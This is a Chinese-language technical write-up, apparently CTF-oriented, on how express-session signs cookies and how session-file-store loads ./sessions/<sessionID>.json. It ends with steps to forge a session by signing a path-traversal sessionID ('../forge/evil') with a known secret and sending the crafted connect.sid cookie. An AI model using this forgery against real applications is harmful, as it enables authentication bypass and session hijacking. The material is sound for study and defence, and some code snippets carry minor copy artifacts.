nodejs session-file-store session 伪造

[toc]

cookie 的生成,发生在 express-session 模块 的 setcookie 函数中

1
Cookie: connect.sid=s%3AcYxDFPBDKJMrSBqP0iYDVTV6z3mShXXz.h2MLE91sBsSk85youbctWxXxkZ%2F83MtHq4UzzElxi9s

Cookie 中关乎 session 的成分由两部分组成

. 前 至 s: 的部分 是 sessionID. 后的部分是 signature


sessionID 默认是uid:

1
2
3
function generateSessionId(sess) {
return uid(24);s
}

signature 的生成 在 cookie-signature 模块中,大致为这样:

1
signature = crypto.createHmac('sha256', secret).update(SessionID).digest('base64').replace(/\=+$/, '');

secretsessionID 经过一个 哈希函数 和若干其他处理后得到

最后 s: + SessionID + . + signatureexpress-session 写到 cookie 当中

发生在 express-session 模块 的 getcookie 函数中

当处理 请求的时候,Cookie 中的 关乎 session 的信息会被检查:

1
2
if (raw.substr(0, 2) === 's:') {
val = unsigncookie(raw.slice(2), secrets);

s: 之后的内容 随着 secrets 进入 unsigncookie 函数


unisincookie 函数中 s: 之后的内容 随着 secret 进入 unsign 函数

1
2
3
4
5
var result = signature.unsign(val, secrets[i]);

if (result !== false) {
return result;
}

这个 unsign 函数来自 cookie-signature 模块


cookie-signatureunsign 中,比对了一下 s: 之后的内容 和 sign(sessionID) 的内容是否相等

1
2
3
4
5
6
7
8
9
10
exports.unsign = function(val, secret){
if ('string' != typeof val) throw new TypeError("Signed cookie string must be provided.");
if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
var str = val.slice(0, val.lastIndexOf('.'))
, mac = exports.sign(str, secret)
, macBuffer = Buffer.from(mac)
, valBuffer = Buffer.alloc(macBuffer.length);
valBuffer.write(val);
return crypto.timingSafeEqual(macBuffer, valBuffer) ? str : false;
};

因而,cookie的生成 只和 sessionID 还有 secret 有关,cookie 的检查也只检查 sign(sessionID) 和 s: 之后的内容是否相等,都不涉及 session 储存的具体内容

session-file-store 获取 session 数据

**express-session 存储session 数据,默认是 memory-store,当使用session-file-store 模块辅助时可以 file-store 。从而可以通过文件内容篡改、引导程序访问恶意 session 文件等方法,实现 session 伪造 **

session-file-store 获取 session 数据的时候,会直接访问 path.join(options.path, sessionId + options.fileExtension); 这个文件

而默认情况下 这里的 options.pathoptions.fileExtension 如下(定义在 session-file-helpers.js 中):

1
2
3
4
DEFAULTS: {
path: './sessions',
fileExtension: '.json',
},

而这里的 sessionIDreq.sessionID,也就是 getcookie(req, name, secrets) ,的返回值,即 s: 之后,. 之前的内容

**故默认情况下 session-file-store 访问的文件是 ./sessions/<sessionID>.json **

session 伪造

  1. 确认是用 session-file-store

  2. 确认业务下 session 的目录,默认是 ./sessions

  3. 创造 恶意 session 数据,这里举例放到 ./sessions/../forge/evil.json

  4. 伪造 Cookie

    • 获取 secret ,这里举例是 keykey

    • $ node
      > r = require("cookie-signature")
      { sign: [Function], unsign: [Function] }
      > r.sign("../forge/evil" , 'keykey')
      '../forge/evil.8/VvM9eIF6CX/WwhoM6eAgVC8bnevpyJP3lhB71WbvY'
      >
      
      1
      2
      3

      * ```
      Cookie: connect.sid=s%3A../forge/evil.8/VvM9eIF6CX/WwhoM6eAgVC8bnevpyJP3lhB71WbvY